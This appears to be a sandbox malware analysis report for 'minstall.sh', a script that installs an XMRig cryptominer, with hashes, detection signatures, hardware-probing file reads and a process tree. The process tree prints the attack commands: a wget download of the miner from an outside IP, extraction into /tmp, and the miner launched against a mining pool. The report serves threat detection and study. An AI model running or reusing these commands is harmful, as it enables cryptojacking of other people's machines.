Analysis
-
max time kernel
149s -
max time network
147s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
05/04/2025, 22:42
Static task
static1
Behavioral task
behavioral1
Sample
minstall.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
13 signatures
150 seconds
Behavioral task
behavioral2
Sample
minstall.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
8 signatures
150 seconds
Behavioral task
behavioral3
Sample
minstall.sh
Resource
debian9-mipsbe-20240729-en
debian-9-mips
8 signatures
150 seconds
Behavioral task
behavioral4
Sample
minstall.sh
Resource
debian9-mipsel-20240611-en
debian-9-mipsel
8 signatures
150 seconds
General
-
Target
minstall.sh
-
Size
1KB
-
MD5
a40271ae5c12ad0c61ec0409fc3723d1
-
SHA1
79077d993d18b6be073e899d62bef022c957c17f
-
SHA256
f03e577b9f65b4318c9ed2acb510c5c7f681ff07446bdc66f105028eea327908
-
SHA512
20b68e61d328a3ab94e5ea5413a90b242b72d3dcf19ac398af10ae3247abafb3f3214ed1dc1a6823be74871ae056a4b03cdba7ed6af85621a9905c278386e388
Score
10/10
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/files/fstream-4.dat family_xmrig behavioral1/files/fstream-4.dat xmrig -
Xmrig family
-
Xmrig_linux family
-
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/xmrig/xmrig 1518 minstall.sh -
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name xmrig File opened for reading /sys/devices/virtual/dmi/id/board_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/sys_vendor xmrig -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_version xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/product_version xmrig File opened for reading /sys/devices/virtual/dmi/id/board_name xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_type xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_version xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_date xmrig File opened for reading /sys/devices/virtual/dmi/id/product_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/product_uuid xmrig File opened for reading /sys/devices/virtual/dmi/id/board_version xmrig File opened for reading /sys/devices/virtual/dmi/id/board_serial xmrig -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo xmrig -
Reads CPU attributes 1 TTPs 46 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/core_siblings xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size xmrig File opened for reading /sys/devices/system/cpu/online xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/thread_siblings xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq xmrig File opened for reading /sys/devices/system/cpu/cpu0/acpi_cppc/nominal_freq xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity xmrig File opened for reading /sys/devices/system/cpu/possible xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id xmrig -
Enumerates kernel/hardware configuration 1 TTPs 23 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/devices/cpu_atom/cpus xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency xmrig File opened for reading /sys/firmware/dmi/tables/smbios_entry_point xmrig File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus xmrig File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems xmrig File opened for reading /sys/devices/cpu_core/cpus xmrig File opened for reading /sys/kernel/mm/hugepages xmrig File opened for reading /sys/devices/system/node/node0/meminfo xmrig File opened for reading /sys/devices/system/node/node0/hugepages xmrig File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/node0/access1/initiators xmrig File opened for reading /sys/devices/system/cpu xmrig File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/online xmrig File opened for reading /sys/devices/system/node/node0/cpumap xmrig File opened for reading /sys/bus/dax/devices xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency xmrig File opened for reading /sys/bus/soc/devices xmrig File opened for reading /sys/devices/virtual/dmi/id xmrig File opened for reading /sys/firmware/dmi/tables/DMI xmrig -
description ioc Process File opened for reading /proc/filesystems mkdir File opened for reading /proc/cmdline xmrig File opened for reading /proc/self/cpuset xmrig File opened for reading /proc/sys/vm/nr_hugepages xmrig File opened for reading /proc/filesystems tar File opened for reading /proc/meminfo xmrig File opened for reading /proc/driver/nvidia/gpus xmrig File opened for reading /proc/version_signature xmrig -
System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1516 tar -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/xmrig/config.json tar File opened for modification /tmp/xmrig/SHA256SUMS tar File opened for modification /tmp/xmrig/xmrig tar File opened for modification /tmp/xmrig-6.22.2-linux-static-x64.tar.gz wget
Processes
-
/tmp/minstall.sh/tmp/minstall.sh1⤵
- Executes dropped EXE
PID:1497 -
/usr/bin/cutcut -c1-52⤵PID:1500
-
-
/bin/hostnamehostname2⤵PID:1499
-
-
/bin/datedate "+%s"2⤵PID:1501
-
-
/usr/bin/wgetwget -q http://168.75.85.109:8081/xmrig-6.22.2-linux-static-x64.tar.gz -O xmrig-6.22.2-linux-static-x64.tar.gz2⤵
- Writes file to tmp directory
PID:1502
-
-
/bin/mkdirmkdir -p xmrig2⤵
- Reads runtime system information
PID:1515
-
-
/bin/tartar -xzf xmrig-6.22.2-linux-static-x64.tar.gz -C xmrig "--strip-components=1"2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1516 -
/usr/local/sbin/gzipgzip -d3⤵PID:1517
-
-
/usr/local/bin/gzipgzip -d3⤵PID:1517
-
-
/usr/sbin/gzipgzip -d3⤵PID:1517
-
-
/usr/bin/gzipgzip -d3⤵PID:1517
-
-
/sbin/gzipgzip -d3⤵PID:1517
-
-
/bin/gzipgzip -d3⤵PID:1517
-
-
-
/tmp/xmrig/xmrig./xmrig -o 10.8.0.2:3333 -u ubunt5739 -k --donate-level 0 "--rig-id=rigNels"2⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1518
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.3MB
MD58feb9a1c7da97b6e0d254d93da37371d
SHA1090510d9ac1aedbce99fe98cc7396cfcfe6a3951
SHA256b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7
SHA5122dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db
-
Filesize
150B
MD5554d057fe1c4eab2071450cf6c434dc5
SHA19fa4d5aa72d698f72d105fce0bd44657f244c7e6
SHA256cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1
SHA512be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8
-
Filesize
2KB
MD566f38c96a4901e7b345787c447842b3e
SHA12aa9b4d1bd2edd5d81bd9725e9318edaee67531f
SHA2562b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
SHA51271757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
-
Filesize
7.9MB
MD58f4fff0ded94f1141768220906abfbb8
SHA1ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA256b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
SHA5120096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee